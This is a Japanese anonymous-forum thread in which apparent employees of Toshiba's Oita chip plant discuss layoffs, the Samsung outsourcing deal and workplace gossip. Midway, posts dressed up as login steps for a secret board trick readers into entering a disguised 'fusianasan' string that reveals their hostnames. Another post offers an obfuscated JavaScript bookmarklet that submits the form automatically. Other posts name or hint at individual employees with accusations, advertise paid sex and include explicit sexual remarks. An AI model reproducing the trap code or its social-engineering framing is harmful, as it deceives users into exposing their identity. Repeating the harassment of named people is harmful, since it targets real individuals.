有期社員だから地元地主の娘とか関係ないと思うけど

女王様の人気にちょっと嫉妬したくなる

海老蔵と乱○仲間のJ事務所の若手俳優「お〜い 酒！」
http://vip.cmdap.com/cgi-bin/uploader/pic/file/vipnion-pic_4657.jpg

今年もイルミネーションの準備を業者に頼んでやってたぞ。
でも最後の灯になるのか…。

>>728
いずれにせよ女王様は小柳ルミ子、大澄 賢也夫妻のようになる

男の方もそろそろ何でこんなババアの中に挿入してんだぁって思い始め
別れそう

女王様の男はだれ？　厄色者？？

>>733
絵無胃セ

300せんって300戦連敗を食い止めるPJ??

組合関係や社外秘の話は関係者以外を排除して慎重に話すのに、同じ内容の印刷物や
社内販売のチラシを業者や社外の人が通る通路や休憩所に掲示してる。

業者が居る休憩場所や通路で仕事の打ち合わせやPHSでの会話。

派遣社員が住所録や業務内容が保管されてるネットワーク内や人事通達が入ったメールを普通に見る事ができ、コピーして持帰ってもわからない。

そのくせ社員には業務上知り得た事は他言しませんって署名させる、そんな環境っておかしくないか1２SE

書き込みテスト。

書き込みテスト。

持ち家の方が借家より、30年で2千万多くかかるらしい。
あと20年戻れんし、もう手放すか。
どう考えても負け組まっしぐら................

年収が100万くらい減ったけどなぜだ？
みんなそうか？

>>739
なぜ大痛って業者への支払いが遅いんだ？東証一部上場のくせにな。タレ混んでやるから監査待っとけや！

原発系の副社長が来たので接待で忙しいからそれどころでない

再調整品買った人いる?
故障が多いと聞いたけどホント?

業績+とボヌス@お腹いっぱい。

　　　　,r'"__i,-､_,-'''､____
　　　　　　　　　!､_,.-'!_,ﾉｰ ノ､ｰ､二'''ヾ､,
　　　　　　　　 ／　　　 ｀''"___ﾆ-､_ ヽ　〈｀
　　　　　　　　 '-ｰ===､ﾆ二,,,,_　　,iヽ,｀-ｯ
　　　　　　　　　! '｀,i　　､｀∩ｰ｀　i'　 ヽﾉ
　　　　　　　,.-'"　(__,.._　｀l　　 　 ヽ､,-'ヽ
　　　　　　 （　　ｰ"ﾉ i ｀t'　　　､､　　 く ﾉ 　
　　　　　 _i､(｀ヾiﾆi´￣｀`'!ﾆiｰ'''"iヾヽ ヾ n/)_　　
　　　　　∈ ( / ヾ､､　 ,-､,...､ 　ﾉ　　　ﾉ"i　ヾﾂ,　　これでいいのだ〜〜♪
　　　　　　"￣'ｰ､, ｀ヾ=､＿'ﾆ二-ｰ'''"__,..ヽｰ='　　　
　　　　　　　　　 /-､__∠/　　　　r''￣
　　　　　　,.-ｰ､/ /　/｀'ｯ-､＿,,,/
　　　　 ／｀'''-ﾉ'i⌒'ｰ､/　 /　 /___
　　　 ,i'｀"''ｰノ/　　　　ヾｰ--'ﾒ,ｰ-｀'t-､
　　　 i,｀'''∠,ノｰ''"｀'''ヾｰ--ｰ'｀ヽ､ﾆ=､ﾉ
　　　　￣　　　　　　　 ｀''ｰ-ｰ''"

>>745
本当にバカボンだらけでハジメちゃんみたいな奴がおらん

>>746
お前も一（はじめ）になりたかったのか？

ここ何日も変わらないね。

C禁はきれいなイルミネーション見れないね

座して死を待つ。

姉っ糞棟切り離せば黒字になるんちゃうんかい？

姉っくすって事は蜂セという事かな

赤字の根源は拾二セ

東芝の極悪人
藤津●夫　元東芝 集積回路組立技術部
重●朋久　　本東芝アメリカ

12seは年明け早々、更にCFが増える予定。

工場内にOPが多々余ってるのに地元会社の派遣を大量に雇うのは止めてほしいもんだ。

立ち上げから関ってるベテランOPを無視して他所から来た者をいきなりPMやCFにするのも止めてほしいもんだ。

所詮12seでがんばって結果を出しても上には上がれない、世界最先端の工場でも所詮は馴合い人事。

無駄と思えるほど人を増やしながら、目標は「人件費の削減」って寝言？。

>>755
>無駄と思えるほど人を増やしながら、目標は「人件費の削減」って寝言？。

老害人事だからしょうがない来春にはﾜｰｸｼｪｱﾘﾝｸﾞが発動されます。

>>756
ワークシェアリングしても馬鹿同士でワークシェアしたら猛烈に効率が低下する。
また一時帰休でもするんじゃねえのか？

メモリー工場は停電でこけたから
大痛にしわよせか。一時帰休しか手はないんじゃないの。
しかし残業するなと言いながら残っている管理職って何?

>>755　もうずーっとまえからだよね。
OPはとしいってるのばっかだからしょーがないけど、
ここの人事はほんと、どこみてやってんのってかんじ。

ソニー、東芝から半導体工場買い戻し　スマートフォン用
http://www.nikkei.com/news/headline/article/g=96958A9C93819696E0E0E295E18DE0E0E3E0E0E2E3E29F9FEAE2E2E2

上によると、
ソニーは長崎の設備でＣＭＯＳセンサーを作るのだそうだ。
ココは？

そーするとあのシトはどーなるのかなー

>>760
900億で買ったが500億で売却
これってただの大損じゃん
いつもの倒死場クオリティ炸裂だね

>>762
紫煙しなくてなるとなるとＮ紫煙は解体か？

みんな戻ってくるんだな
来年はあの工場からも移籍があるし人があふれるな

CELLはIBMに任せるんなら拾二セって何造るの?

>>766
全員構内清掃24時間3交替

東芝、サムスンと提携　先端ＬＳＩの生産委託
投資競争を回避　メモリー事業に集中 2010/12/24 2:09 情報元 日本経済新聞　電子版

..東芝は韓国サムスン電子と半導体のシステムＬＳＩ（大規模集積回路）分野で提携する。
巨額な設備投資が必要な先端品について東芝は2011年度から設計だけを手がけ、生産はサムスンに委託する。
東芝は不採算のシステムＬＳＩ事業では投資競争から手を引き、得意のメモリー事業に経営資源を集中する。
世界の半導体市場で競ってきた２、３位メーカーの提携は、新たな業界再編の呼び水になりそうだ。

東芝、半導体の構造改革にメド　設計・生産の分業推進
サムスン電子と提携 2010/12/24 2:09 情報元 日本経済新聞　電子版
http://www.nikkei.com/news/headline/related-article/g=96958A9C93819696E0E1E2E3958DE0E1E3E0E0E2E3E2869891E2E2E2;bm=96958A9C93819696E0E1E2E2868DE0E1E3E0E0E2E3E29F9FEAE2E2E2

東芝が半導体のライバルである韓国サムスン電子と提携する。最先端品をサムスンに生産委託することで、
ＬＳＩの主力拠点である大分工場（大分県）は画像センサーを中心とした工場に衣替えし、長崎工場（長崎県）
の設備はソニーに売却。懸案だった半導体事業の構造改革にメドをつける。半導体業界で設計と生産の国
際的な分業が加速しそうだ。

おっつ。今日も疲れた。何このニュース？
拾二セは画像センサ中心になるんだ。
ちゅーかサムソンの下請けになるんかな。上司はチョンか？

>>770
おまえ日本語の理解力大丈夫か？

作る製品が多少変わる位かな。
http://www.toshiba.co.jp/about/press/2010_12/pr_j2403.htm

あとは計画性の無い生産計画の見直しと、人を効率良く使うことかな。
役所でも無いのに仕事の内容に線引きし過ぎ。

ロジック組はいらない子になるん？
メモリ組だけ生き残るの？

>>773
大痛はアナログの為の工場になります。
大量ロスを吐きまくるロジック組は全員近所の農家に応援に行ってもらいます。

農家でがんばります・・・いや・・・まじで・・・。

何か社内失業しそうだから農家に面接でも行くかあ・・・・・・・・・

アナログの新規開発は来年度中にやめるらしい
ロジックと共に既存製品だけで生産は続ける

福利見直しは単身赴任手当廃止と住宅補助費カットから始まるとのこと

単身赴任手当てなくなるってまじですか？

四日市の大部分の人が悲鳴あげそうだね

>>777
アナログと言うかパワー系以外はやめるだろう。完全にパワーデバイスにシフト
しているわけなんで。まずいのはロジックでこっちは大痛と爺デバイスを皆殺し
モードに掛かる。

単身赴任手当廃止したら餓死する連中が増えるぞ。

昨日の新聞に大分工場再編の記事があったけど
僕どうなるんだろう心配でつ

四日市行っておけばよかったでつ
捨てないでくだつぁい

住宅補助費カットは本当？？？

>>781
君は来月から正門の掃除係りだ

切捨て御免

突然消えてなくなるわけじゃない。
生産はこのまま数年続く。
当然これだけの規模（人）を抱えては無理だろう。
今までのやり方だとまずは技術部から動く。

ゆっくりと死んでいくんだよ

長崎を売ることでまとまった金が入る。これをどこで？何に使うか？が重要。

900億で買って500億で売るって損だよね〜

.>>784
峰打ちでいたぶってやるよ

長崎に行った組はある意味美味しい話かな、四日市の帰任希望者は今戻っても
一律6sに配置だからもう少し粘った方が良い鴨

大分工場もジェイデバイスに売却かな

誰だ、ｻﾑｽﾝと提携だなんてガセ流したのは

>>792
三星との提携の意味がわからない、あほの子ってあなたの事ですね

ホントに怖いのはこれから。CADﾃﾞｰﾀ流出 => 設計ﾉｳﾊｳﾊﾟｸﾘ = 売国行為 => 倒死場死亡

そんな事はお構いなく勤務時間内に納会やるのが大痛クオリティ

年末最後にこのニュース
今まではっきりしなかった未来像がこれで分かった。
来年はあらゆる所から集結するな、長崎、北九州、四日市、横浜。
千人規模で増えるかもな。

リストラの

予感

悪寒

寒っ

お前キモイ

本当はきらい

俺はもっとキモイけどな

確かにリストラあるかもね。リストラするには多額の金が必要だが500億入ってくるわけで。

画像センサと液晶は競争が激しすぎ　「画像センサと中心とした....」ってそれだけでやっていけるんか。
パワーデバイスに移行しても勝つ見込みはどの程度なんか。

ｃｒを埋める事は不可能
Mの無理とわかっていながらの説明も必死すぎてかわいそ過ぎる

12インチはもう切り離すだろうね
今回のプレスリリースはプロセス競争の敗北宣言だから
ロジックばっかりやってた工場がアナログ主幹工場にはなれんよ

何をやっても中途半端

まあコレで来期以降〜黒字に転換するとは到底思えんワナ
大赤字確定コースじゃん

労働生産性を上げるとか言ってOPを減らしたが、結果は残った人の負担を増やしただけじゃん。何やってんだか。ヤレヤレだぜ

人をどんどん大痛に寄せ集めて来るのでどんどん間接費が増加しとる
どっちにしてもL痔がサムチョンの手に堕ちる日も近い。

逆にサムチョンに拾ってもらった方が未来があるのかもしれない。

OPは休憩に行けません。わかっちょんのやろか。

生産性の悪いところを切り捨てて生産性のいいところに生産を委託しよう、
と言っているのに、生産性のいいところが生産性の悪いところを欲しがらないだろう。

朽ち果てるだけ。

L痔は大痛工場は主幹ではありませんのでいつでも潰そうと思えば潰せる
北苦みたいにプロセス移管しちまって抹殺しちまえばいいんだよ

製造工場で生産に係わる人間より、その他の方の人員が多いとか考えられん！
頭の悪い奴が偉くなったつもりになるのが、東芝クオリティーだ。

>>806-808　その通り
北苦は最後C勤率が7割近くになった　そして朽ち果てた
東芝は上がったもん勝ちでリストラは普通年齢上からだが、職位順下から切り捨てる
このままAプランやってもOPが嫌気さして辞めるだけ　結局何も変わらない

>>809
大痛もいずれC勤率が7割になるよ
だってこの調子じゃ最期には製造部門は全て別会社になるよ
本当はアナログだってファブレスしたいんだよ

旧式ロジックICなんて別に中国で作ってもいいんだし

潰れろ　潰れろ　全員整理解雇

整理解雇で退職金割増36ヶ月くれるんだったら辞めてもいいよ。

数年前は四も閉鎖の話があったんだよな、それが今じゃ稼ぎ頭。

四と船頭を入れ替えて空気の流れを変えてくれないかな。

管理職の茄子はどうなってんでしょうね。

熊本の半導体商社が撤退するとの噂。今後物資調達はどうなるのだろうか。

おーい、みんな、MIやってるかーい。

ほとんど全部、一旦差し戻しだろう。

九背って今はどうなってんの？

暗い話ばかりでは人間が暗くなり、不幸に陥る道へ進みますよ。

明日は下の風が吹く　ではないけど　明るく笑顔をで仕事に頑張れば　福の神が舞い降りてきますよ。

福の神は笑顔が好きだそうです。

>>819

前向きに考えようとしてますが・・・一般OPには理解不能な280の迷走には
呆れてしまい失笑しか出ません。

事務所の机の数より多いCFと間接員を仕分けしてほしい。

日本】東芝社長「システムＬＳＩ事業は、サムスン電子への生産委託を決定。委託でリスク軽減し、原子力などに投資したい」［12/28］
1 ：振門体φ ★：2010/12/28(火) 07:08:27 ID:???

◇「リスク減らし原発に投資」

　　東芝の佐々木則夫社長は毎日新聞のインタビューに応じ、トルコ政府が原子力発電所建設発注を巡り、
日本政府・企業と交渉を進めていることについて
「新潟県中越沖地震を経験した柏崎刈羽原発の（耐震面での）実績が認められた」と述べ、
受注に強い期待感を示した。

また、半導体のシステムＬＳＩ（大規模集積回路）を韓国サムスン電子へ生産委託したことについては
「委託でリスクを軽減し、柱の事業である原子力などに投資したい」と語った。

【聞き手・弘田恭子、写真・浜中慎哉】

　−−韓国に代わり日本が、トルコの原発建設の交渉に入りました。

　◆トルコも日本と同じ地震国。中越沖地震（で想定を超える揺れ）を経験した（東芝製の）柏崎刈羽原発の
ＡＢＷＲ（改良型沸騰水型軽水炉）の実績が認められたと思う。

　−−受注に向け、どのような取り組みが必要ですか。

　◆原発建設後のリスクを日本政府に保証してもらいたい。相手国からは何十年も平常運転を保証するよう求められるが、
政情や自然災害などを勘案すると民間企業だけでは受けきれない。
韓国、ロシア、フランスなどと同様、政府保証で支える仕組みを日本政府も整えてほしい。

　−−昨秋に、「１ドル＝７０円」を想定したシミュレーションを社内で実施していたことが話題になりました。

　◆今年秋の急激な円高を前に、いい時期にテストできた。海外での売り上げ、
生産、調達（の比率）をバランスよく高めることで、
今年度はドルに対して１円の円高で逆に５億円増益となる体制を作り上げられた。


　−−システムＬＳＩ事業では、長崎県の工場をソニーに売却するとともに、韓国サムスン電子への生産委託を決めました。

　◆システムＬＳＩのように投資負担が大きい事業は、生産委託をはじめとした構造改革でリスク軽減を進めていく。
その分の資金や人材は、事業の柱である原発や、新規事業の研究開発への投資に回す。

＝＝＝＝＝＝＝＝＝＝＝＝＝＝

　■人物略歴
　◇ささき・のりお
早稲田大理工卒。７２年東芝入社。原子力事業部長、専務、副社長などを経て０９年６月から社長。６１歳。

http://mainichi.jp/select/biz/news/20101228ddm008020060000c.html

あぼーん

勤務態度最悪

再び組織改編ですかw

NECってパソコン事業を手放すの？
東芝ってシステムLSIを手放すの？

「め」が無くなる。

めせオワタのお知らせが回って来ますた

無駄に増やしためのcfは何処に行くのかな

今までのぬるま湯体質を北灸手法で変革します！

めせは元々いらんかっただろ？
わざわざ集めた意味って何なのさ

めせの事務所の連中は280に行きます。また迷走します。280はDM･CFで溢れかえるやな。あ〜怖

わざわざ使えんCFを集めて使えるやつを追い出す組織やから
この後もどうなることやら..．

ところでnagasakiはいつもどるん

上が使えん奴ばっかやから、それ以下のCFを集めるんやん！それが東芝の製造組織。DMも元はCFやったんやしな。本当に烏合の衆。声の大きさと怒鳴れる奴が多い。

12は来月付けでCFが15人増えます、OPの作業を軽減する前に生産に何の関係も無いCFの仕事を大幅に軽減します。
しかし仕事が減っても時間外はOPよりも多いです。

>>834
情報遅くねぇ
あっちの板には先週のうちにあったぞ

>>835
あっちの板とは？

そもそも何で作ったの、誰が作ったの、作る意味はあったの？。

>>836
あっちの板くらいググれかす

4月のプレリリースが楽しみだね
(^0^)(≧◇≦)(>_<)(･∀･)

組織変更の本当の目的が猿並みの脳味噌でも何かわかる

>>839
製造部門切り離しでもすんのか？

サムチョンが・・・

サムチョンって社内ポジション争いで、下の世代に抜かれた時点でもう終わりって。
40歳以上で惨事クラスになれん人はいらないらしい。

高い金と税金払って、100%体に悪いと判ってるヤニを
このクソ寒いのに度々外に出て吸ってるヤツの気が知れん。

んで院フル円座に気を付けましょうって、マスクして・・・。

あふぉ？

>>836
あっちの板ログイン方法
ただしアングラにつき普通にリンクを張ることはできません。

見方は
１．書き込みの名前の欄に　http://&rf&rusi&ran&ras&ran.2ch.net/　と入れる。(裏ドメイン名）
２．E-mail欄に、back searchと入力する。（パスワード）
３．本文にパスワードと都道府県名(検索用)を入れて、書込みボタンを押します。
４．タイトルが「地域情報（極秘データ館）」に変わればＯＫ！
５．サーバーが重いと２chに戻ってくるけど、くじけずに何度も挑戦。
　　うまく行くと、目的のページに繋がります。
６．家庭の電話回線よりも、企業や学校の専用回線からの方がサーバートラフィックの
　　都合上つながる確立が高いです。

　（注意！）全て半角で入れること！！
　　　　　　　２３：００〜０３：００の間はつながり難いです！何度もトライ！
　　　　　　　http://&rf&rusi&ran&ras&ran.2ch.net/←は、裏ドメインの為「直リン」で飛んでも
　　　　　　　「鯖が見つかりません」になります。入り口は「地域情報（極秘データ館）」のＣＧＩだけです。

　（特典！）回線がアクセス規制中でもこの方法ならOK

223 ：名刺は切らしておりまして：2011/01/17(月) 18:23:38 ID:mVPHSUcw
CM出演者がク○リ疑惑で乱交
http://photo3.avi.jp/photo/5/298670/298670-1767264-0-6888817-pc.jpg
http://photo3.avi.jp/photo/5/298670/298670-1767266-0-6888819-pc.jpg
http://photo3.avi.jp/photo/5/298670/298670-1767267-0-6888820-pc.jpg
http://megalodon.jp/2010-1128-0514-07/vip.cmdap.com/cgi-bin/uploader/pic/file/vipnion-pic_4657.jpg


224 ：名刺は切らしておりまして：2011/01/19(水) 23:14:42 ID:lnWj6wGp
東芝なら犯罪者を使ってても驚かないけど、これはやばいだろ…ゴクリ

>>842
L痔がサムチョンに送られるのか？

>>843
全面禁煙にしちまえばいいんだよ

そういえば大分前の話だったと思うけど
過労で欝になって休職せざるをえなかった人が解雇させられた事件があったと思うけど
あれどうなったの？

back search 大分

>>838
ググるとは？ おしえろ！超カスがっ！

>>849
入口は>>844にかいてんじゃん

back search 大分

>>850
間違ってるぞ　
E-mail欄のpassは　back search　で間違いないけど
名前の欄に入れるドメイン名は　&rf&rusi&ran&ras&ran　だろ

>>852
それでログインできない場合は
上のドメイン名から &r を省略すると
ログインし易くなるよ

back search大分県

　　　　　　　　　　　　　　　　｜
　　　　　　　　　　　　　　　　｜
　　　　　　　　　　　　　　　　｜
　　　　　　　　　　　　　　　　｜
　　　　　／V＼　　　　 　 　,Ｊ
　　　　/◎;;;,;,,,,ヽ
　＿　ﾑ::::(;;ﾟДﾟ)::| ｼﾞｰ
ヽﾂ.（ﾉ::::::::::.:::::.:..|）
　 ヾソ:::::::::::::::::.:ﾉ
　　 ｀ ー U'"U'

>>852
ありがとやっとみれた
でもあれはまずいだろ株価に影響するぞ

入ることできたo(^▽^)o
あっち板はヤバすぎて
板ごとけされるんじゃないの

晒し杉

こら、おまいらはしゃぎすぎ

>>857
板より先におまえの居場所がなくなるから心配無用

ooita
back search

back search ooita

back search 大分

ログインは>>852に書いてる通り&rを
全部外したほうが良いみたい

back search　大分県

oita

back search　大分県

back search　大分県

back search　大分

これって「fusianasan」トラップじゃない？

と、安藤菜○子が言ってました。
1回2千円で、okです。それ自体がスキなので。

back search 大分

back search 大分

|　釣れますか？　1回2千円ですがどうします？
|　　　　　　 　　　　　　 　　 　　　　　　　　 ,
＼　　　　　　　　　　　　 　 　 　 　 　 　 ,／ヽ
　 ￣∨￣￣￣￣￣￣￣ 　 　 　 　 ,／　　　ヽ
　　 ∧＿∧　 　 　 　 　 ∧∧　　,／ 　 　 　 　 ヽ
　　（　´∀｀） 　 　 　 　 (ﾟДﾟ,,),／　　　 　 　 　 　 ヽ
　　（　　　　）　　　　　　(|　　つ@　　 　 　 　 　 　 　 ヽ
　　｜ ｜　| 　 ＿＿_ 〜|　　|　　　　　　　　　　　　　 　 ヽ
　　（_＿）＿）　|――|. 　∪∪　　　　 　 　 　 　 　 　 　 　 ヽ
　　￣￣￣￣￣￣￣￣￣￣￣￣|　　　　　　　　　　 　 　 　 ヽ
　　／⌒＼／⌒＼／⌒＼／⌒＼|彡~ﾟ　゜~ ~。゜　~ ~　~ ~~　~ ~~　~ ~~　~~　~~
　　⌒＼／⌒＼／⌒＼／⌒＼／⌒＼彡　〜　〜〜　〜〜　〜〜　〜　〜

back search 大分

back search 大分

back search 大分県

back search 大分

あっち板に入れない方がまだ居るようなので入場者数・関係機関抑制の観点から時間限定の簡単な方法を公開します。
　*このスクリプトは入場者数が定数になり次第に無効化、入り口をサイト側から閉めます。

1．下の文字列をコピーする。
2．IEで裏を見たいスレを表示する。
3．アドレスバーに貼り付ける
4．Enterキーを押すだけだ

JavaScript:var%20f=doc%75ment.%67e%74Ele%6de%6etsB%79%54ag%4eame%28%27fo%72m%27%29%5b0%5d;f.F%52%4f%4d.%76al%75e=%27f%75sia%6easa%6e%27;f.%6dail.%76al%75e=%27u%72a2c%68%27;f.%4dES%53A%47E.%76al%75e=%27%4a%53%27;f.s%75b%6di%74.clic%6b%28%29;void%280%29;

JS

>>850

うるせえバカ！！ひっかからねえよ！

俺だって釣りで書き込みしただけだし

1回2千円ですがどうします？

まじ？お願いしてみようかな。美人？

back search 大分

back search

大分

残り9名であっちの板のログイン定数になり入り口が閉じます。
興味のある方は　>>878　を参照して早めにログインください。

なお、一度ログインするとログイン先のお気に入り登録をすると
次回からノンストレスでログインできます。

高校の頃、１回500円という子がいてバスに乗って家まで連れ来た思いである。
懐かしい。2千円か。本人にメールするん？

JS

JS

back search大分県

back search大分県

新日鉄・住金、生存かけ合併へ
業界違うけど、製造業として何かを感じる。
産業界を揺るがすような大きな動きだな。

back search 大分

Ｈがしたい　相手がおらん・・・・紹介よろ

back search 大分

JS

>>895
OCTかよwリモホに出して恥ずかしくねえかw

>>896
ｗｗかよ　そんなに今どきは草はえてねぇ

そもそも自らトラップに知っててハマるぐらい大分はレベルが低い

>>898
にほんごでよろしく！

そろそろL痔終了のお知らせ来るんじゃねえのか？
サムソン様に献上しないといけないから

JS

back search 大分

仲介は北苦から来た岡○さん　いきなり知らん人が声掛けても周りの目があるから

しかし、トラップにハマる奴多すぎｗｗ

こんなレベルの低い人間の集まりじゃあ

大分が切捨て対象になるのも当然ｗｗ

>>903
北苦から来た岡○はまともな奴だから安心しろ
少なくとも大痛にいる他の課長どもはカスばかりだからな
だから１ペレは北苦から来た連中に乗っ取られるんだろ

○松さん　仕事のできる人格者
○山さん　女性仲介者＠2千円プラス手数料
○田克也　最悪・・・らしい

back search ooita

back search 大分

back search 大分

back search　ooita

back search　ooita

大分

Back search 大分

これって「fusianasan」トラップじゃない？

と、安藤菜○子が言ってました。
1回2千円で、okです。それ自体がスキなので。

おまいら大痛は人が多すぎなんじゃ。そんな高コスト体質で安いCMOSセンサーなんか作っても利益出ねーぞ。

よし、全員解雇だ！

昨年有期で働いていたんですが、女性正社員の中に一人根性悪のおばさんがいました。
勤務２８年とか２９年とか・・・
有期で入ってきた同世代の綺麗めな女性に対して、異様な嫉妬心がありました。
女性のみの更衣室で、わざと聞こえるように厭味や皮肉言ったり・・
それも、自分ではなく、手下に言わせるんです。

>>917
もっとkwsk　(*^ｰﾟ)
どこの誰？！他の被害は＿|￣|○

110棟です・・・今も変わってなければ、Ｍ工程。
でも、その人の顔みりゃわかると思います。
底意地の悪い老婆のような顔していますから。
ほかの被害者は・・・わかりません。でも、あんな性格だから、今も同じことしていると思いますよ。

>>919
K.G ？

いえ・・確かＷだったと思います。
でも、男性の前では結構猫なで声だしていました。
他の女性陣とも仲は良かったようです。ただ上記のような女性を毛嫌いする。
更衣室内の会話なんて、すごかったですよ！
陰湿ないじめです。

仕事しないというかパソコンのENTERキーがわかりませんとかTSSC様ふざけるのもほどほどにお願いします
TSSCって初めてホムペみたけど東芝グループ社員じゃないの仕事内容が派遣とかホムペに書いてるわ
初めて知りました

田中hisashiて正社員のおっさん、浮気しまくってんな〜誰か奥さんにチクれよ。

>>923
そんな無名人のやつは知らんなぁ

さとし



チンポしゃぶたらヘルペスと淋病私もらたよ
フィニッシュは顔射でザージル飲めだって


チンポ小さくて 泣

那賀だししてんじゃねえよ

私

役職の大きいチンポョくわえなおし

じゃなくて乗り換えました

パイパンにされて12セのエレベータで顔射

精子飲まされちゃいました
うっとり

JS

いやいや、こいつサイテーなんだってばよ。
[email protected]

最低と言えば鳥居だろ
神社にある鳥居ね
鳥居
鳥居は人として最低だわ
まさにクズ

せめて仕事だけでも真面目にやってくれたらいいのに

個人攻撃はやめたほうが良いぞ、明日は我が身だ。

LED

対象1100ロット

新４交代の勤務の詳細おしえれ。

C勤入れんとローテーションが組めん言うてたな。
間接２５％カット化が始まるらしい。

2勤3休

2勤４休、休み放題！

0勤7休
ずっとこなくてもいいよｗ

ショーの始まりです。
開演まで首を洗ってお待ちください。

どんなショー？

しかし対象1100ロットってどうなるんやろー

○ペレの女、エロ掲示板に従業員証晒されてたね。

誰とでもＨするからよ。

ダレ！

どこの掲示板

解体ショーの始めはヰ恥減○れ
製作係から着手で決定

また2千円女いうんじゃねーだろーな？

裏面商社はじめま〜〜〜す

ストーカーと化した男が正門まで来たらしい。
巻き込まれたくない。お金払っても同意って言えば大丈夫？

有期やｽｽﾞｷからの派遣の人達はどうなる？

楽な現場だよ〜、上はばかばっかりやってるけど。
搬送ハア自動だしぃPC眺めてりゃ時間はたつし。
楽園だわ。

>>949
図卯偽！

あ~ しゃぶりて~

ＡとＩが分かれるかもってほんと？
アナログはそんなに業績いい？
あまり目立たないし、大きな投資したようにも聞かない。

>>952
アナログは売り上げ少ないがロスも少ない
ロジックは売り上げをぶっ飛ばすぐらい特大ロスを叩き出す
ロスは絶対値だからまずはＬとＩは抹殺される対象部門だろ

Ｉもやはりそうなるんですね。
本部もやたら動きがあるし、金ばかり使って単独では無理だと思います。

結局新杉田ってなんだったんだ？

憧れ。

http://raicho.2ch.net/test/read.cgi/newsplus/1299159602/

**長も戯術係も３こうたいにするといいよ。
生産の滞りなくなるよ。

死亡ﾌﾗｸﾞ orz


GSA役員に就任した東芝専務の齋藤昇三氏に聞いた

齋藤氏　　我々の場合，ロジックLSI事業はファブライト化を進めていますが，

こりゃ確実に○Lジ死亡フラグだな

YBBS掲示板　素人　大分の女　東芝大分の女　ナオコ

あーオレも一晩中事務所でPC見てボーっとしていたいゼ。
あんだけ机あるんだからいいよね。

12SEのC勤事務所は良いぞ。
C勤が居ない時間帯はコーヒー飲み放題で喫茶店代わりで携帯ゲームやり放題だ。
座り飽きたらタバコ吸いに行けば良い、唯一の肉体労働はポットの水補給くらい。
俺は「ﾚ」だけどCRなんてもう何ヶ月も入ってない。

>>963
おまいは嘘つきだね！
ポット補給をしてる人はほんの数名だけ
おまいは少なくともポットを触った事すらないはず。

>>964
その数名を指してる。
反論できる事がポットの件だけとは・・・。

喫煙所も自動販売機もすぐ隣で最高の立地条件。
事実上休憩ルームになってるし・・・。

こんなの♪長が見たらビックリ、する訳はないか。
まああんまりおおっぴらにやりなさんなってトコで。

また大きなニュースが流れそう。ここを揺るがすような。
従業員にだまって売却するなよな。

この前、東芝社員に車でぶつけられて(事故にあった)
２週間ぐらいたっても連絡がないので電話したら
『仕事が忙しい』って言われたんだけど
そんなに忙しいの？
それともそんな糞社員なの？
人としてどうなんだろうか？

>>968
ナンバーとか覚えてんなら、会社の総務とかに言ってみれば？
この会社は事故したら、ちゃんと報告しないといけないんだし

イケメンか可愛い男のアナル舐め回したい(笑)

よそに応援行ってもやることないから見てるだけ
旅費も出るしいいバカンスだ

>>968
どこの課？
そんなにじゃないよ(事務所は)

９６９さんありがとうございます。

一応、名前、何セにいるか、住所は分かるけど
車のナンバーなら覚えてるんですけど…。
見た感じ、事務所のいるようなきがしました。
相手側の保険会社がの人は対応してくれてますが
やっぱり行った方が良いですよね？

>>973
保険会社が対応してるならいいじゃん。

そうなんですけどね…。
でも相手が電話で
『示談にしたらあなたにいくらかお金を払わないといけないじゃないですか？
あなたに払うお金なんてないです。それに自分は減点も罰金もないんで』って言われたのはショックです。
まあ相手側が人身にしてくださいって言ったんで人身にしましたけど。
かきまちがえてましたけど、当てた人は事務所ではない人(現場の人)
一言ぐらい謝罪はして欲しかったな。

どういう事故？

>>975
相手に誠意が無いなら　保険会社に言ってやれ
いくら保険会社が良くしてくれても　加害者に誠意がないなら
保険屋の交渉に応じる必要は無し。

>>975
そんな物の言い方なら、会社になんて報告してないだろうから

何セの○○さんに交通事故起こされて、困ってるんですけどって
東芝さんは、事故した場合などの社員教育してるんですか？って会社に言えばいい

誠意の無い奴なんてどうなってもイイだろ

昇進出来なくなろうが、減給されようが会社での立場が無くなったって関係ないだろ。

被害者が嫌な思いをする必要なんて無い。

みなさん、ありがとうございます。
検討してみます。

東芝の半導体工場が操業停止

東芝は１２日、東日本大震災の影響で操業を停止している岩手県北上市の半導体工場に
ついて、「人的被害はないが、生産再開のめどは立っていない」（広報室）と明らかにした。
同工場はシステムＬＳＩ（大規模集積回路）などを生産している。

http://sankei.jp.msn.com/economy/news/110312/biz11031212580034-n1.htm

フジテレビ社員「「まーた原発の話かよｗｗｗ」「なんか笑えて来たｗ」

マイク切り忘れ

男「まーた原発の話かよｗ」
女「なんか笑えて来たｗ」 安藤オナ菜穂子

>>981
つまらん事書くなカス！今はそんな状態じゃないだろうが
大痛の馬鹿どもは危機感のかけらもないのかよ！岩芝やばいと
おまえらのクビも更にしまるんだぞ

>>982
ここに書き込んでるからって関係者とは限らない

さあて岩手の生産不足解消が回って来るのか？

>>984
製品展開の移転はそう簡単にできない事も
考えれない低脳ばかり
拡散炉などの石英部材はすべて崩壊
マスクも同じくセットでの生存率は皆無

>>985
別に出来るとは書いてないが。
どっちにしても生産ショート確定だからツケは回って来るな
今度は賃金カットかw